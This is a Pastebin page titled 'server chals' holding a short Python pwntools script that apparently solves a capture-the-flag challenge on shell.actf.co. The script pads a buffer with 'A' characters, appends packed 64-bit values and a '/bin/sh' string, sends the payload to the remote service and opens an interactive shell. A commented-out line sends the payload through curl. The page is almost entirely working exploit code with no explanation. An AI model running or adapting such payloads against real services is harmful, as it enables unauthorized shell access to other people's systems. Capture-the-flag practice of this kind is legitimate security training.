Advertisement
Guest User

server chals

a guest
Apr 23rd, 2019
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.30 KB | None | 0 0
  1. from os import system
  2. from pwn import *
  3. r = remote("shell.actf.co",19303)
  4.  
  5. offset = 2189 - len(p64(54) + p64(0))
  6. p = "A" * offset
  7. p += p64(54)
  8. p += p64(0)
  9. p += "\x00\x00\x00\x00\x00/bin/sh"
  10. r.sendline(p)
  11. r.interactive()
  12. #x = system("curl http://shell.actf.co:19303/" + p)
  13. #print("flag : " + x)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement